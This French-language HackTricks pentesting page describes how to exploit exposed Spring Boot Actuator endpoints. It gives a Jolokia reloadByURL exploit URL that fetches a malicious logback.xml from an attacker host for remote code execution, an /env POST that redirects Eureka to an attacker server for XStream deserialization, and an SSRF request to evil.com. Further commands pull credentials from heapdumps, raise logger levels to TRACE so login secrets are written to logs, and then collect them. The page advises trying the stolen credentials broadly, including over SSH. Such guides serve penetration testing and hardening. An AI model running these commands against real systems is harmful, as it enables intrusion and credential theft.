Spring Actuators
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Spring Auth Bypass
.png)
Depuis https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png
Exploitation des Spring Boot Actuators
Consultez l’article original sur [https://www.veracode.com/blog/research/exploiting-spring-boot-actuators]
Points clés :
- Spring Boot Actuators register endpoints tels que
/health,/trace,/beans,/env, etc. Dans les versions 1 à 1.4, ces endpoints sont accessibles sans authentification. À partir de la version 1.5, seuls/healthet/infosont non sensibles par défaut, mais les développeurs désactivent souvent cette sécurité. - Certains endpoints Actuator peuvent exposer des données sensibles ou permettre des actions dangereuses :
/dump,/trace,/logfile,/shutdown,/mappings,/env,/actuator/env,/restart, et/heapdump.- Dans Spring Boot 1.x, les actuators sont enregistrés sous la racine URL, tandis que dans 2.x, ils se trouvent sous le chemin de base
/actuator/.
Techniques d’exploitation :
- Remote Code Execution via ‘/jolokia’:
- L’endpoint
/jolokiaexpose la bibliothèque Jolokia, qui permet un accès HTTP aux MBeans. - L’action
reloadByURLpeut être exploitée pour recharger des configurations de logging depuis une URL externe, ce qui peut conduire à un blind XXE ou à du Remote Code Execution via des configurations XML malicieuses. - Exemple d’URL d’exploit :
http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml.
- Modification de la configuration via ‘/env’:
- Si les Spring Cloud Libraries sont présentes, l’endpoint
/envpermet la modification des propriétés d’environnement. - Les propriétés peuvent être manipulées pour exploiter des vulnérabilités, comme la vulnérabilité de désérialisation XStream dans Eureka serviceURL.
- Exemple de requête POST d’exploitation :
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
- Autres paramètres utiles:
- Des propriétés comme
spring.datasource.tomcat.validationQuery,spring.datasource.tomcat.url, etspring.datasource.tomcat.max-activepeuvent être manipulées pour divers exploits, tels que des injections SQL ou la modification des chaînes de connexion à la base de données.
Informations supplémentaires :
- Une liste complète des actuators par défaut peut être trouvée ici.
- L’endpoint
/envdans Spring Boot 2.x utilise le format JSON pour la modification des propriétés, mais le concept général reste le même.
Sujets liés :
- Env + H2 RCE:
- Détails sur l’exploitation de la combinaison de l’endpoint
/envet de la base de données H2 disponibles ici.
- SSRF on Spring Boot Through Incorrect Pathname Interpretation:
- Le traitement par le framework Spring des matrix parameters (
;) dans les pathnames HTTP peut être exploité pour Server-Side Request Forgery (SSRF). - Exemple de requête d’exploitation:
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
Extraction de secrets depuis HeapDump (credentials, tokens, internal URLs)
Si /actuator/heapdump est exposé, vous pouvez généralement récupérer un snapshot complet du heap JVM qui contient fréquemment des secrets vivants (DB creds, API keys, Basic-Auth, internal service URLs, Spring property maps, etc.).
- Téléchargement et triage rapide :
wget http://target/actuator/heapdump -O heapdump
# Quick wins: look for HTTP auth and JDBC
strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client'
# Decode any Basic credentials you find
printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d
- Analyse approfondie avec VisualVM et OQL :
- Ouvrez le heapdump dans VisualVM, inspectez les instances de
java.lang.Stringou lancez des OQL pour chasser les secrets :
select s.toString()
from java.lang.String s
where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString())
- Extraction automatisée avec JDumpSpider :
java -jar JDumpSpider-*.jar heapdump
Découvertes typiques à haute valeur :
- Spring
DataSourceProperties/HikariDataSourceobjects exposanturl,username,password. - Entrées
OriginTrackedMapPropertySourcerévélantmanagement.endpoints.web.exposure.include, ports de service et Basic-Auth intégré dans des URLs (par ex. EurekadefaultZone). - Fragments de requêtes/réponses HTTP en clair incluant
Authorization: Basic ...capturés en mémoire.
Conseils :
- Utilisez un wordlist orienté Spring pour découvrir rapidement les endpoints actuator (par ex. SecLists spring-boot.txt) et vérifiez toujours si
/actuator/logfile,/actuator/httpexchanges,/actuator/env, et/actuator/configpropssont aussi exposés. - Les credentials extraits d’un heapdump fonctionnent souvent pour des services adjacents et parfois pour des utilisateurs système (SSH), testez-les largement.
Abuser des loggers/logging d’Actuator pour capturer des credentials
Si management.endpoints.web.exposure.include le permet et que /actuator/loggers est exposé, vous pouvez augmenter dynamiquement les niveaux de log à DEBUG/TRACE pour des packages qui gèrent l’authentification et le traitement des requêtes. Combiné avec des logs lisibles (via /actuator/logfile ou des chemins de logs connus), cela peut leak des credentials soumis pendant les flux de connexion (par ex. en-têtes Basic-Auth ou paramètres de formulaire).
- Énumérez et augmentez les loggers sensibles :
# List available loggers
curl -s http://target/actuator/loggers | jq .
# Enable very verbose logs for security/web stacks (adjust as needed)
curl -s -X POST http://target/actuator/loggers/org.springframework.security \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
curl -s -X POST http://target/actuator/loggers/org.springframework.web \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
- Trouvez où les logs sont écrits et récoltez-les :
# If exposed, read from Actuator directly
curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password='
# Otherwise, query env/config to locate file path
curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))'
- Déclenchez du trafic de login/authentification et parsez le log pour les creds. Dans des architectures microservices avec une gateway en frontal de l’auth, activer TRACE pour les packages gateway/security rend souvent visibles les headers et les bodies de formulaire. Certains environnements génèrent même du trafic de login synthétique périodiquement, rendant la collecte triviale une fois le logging verbeux.
Notes :
- Réinitialisez les niveaux de log une fois terminé :
POST /actuator/loggers/<logger>avec{ "configuredLevel": null }. - Si
/actuator/httpexchangesest exposé, il peut aussi faire apparaître des métadonnées de requêtes récentes qui peuvent inclure des headers sensibles.
References
- Exploring Spring Boot Actuator Misconfigurations (Wiz)
- VisualVM
- JDumpSpider
- 0xdf – HTB Eureka (Actuator heapdump to creds, Gateway logging abuse)
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks

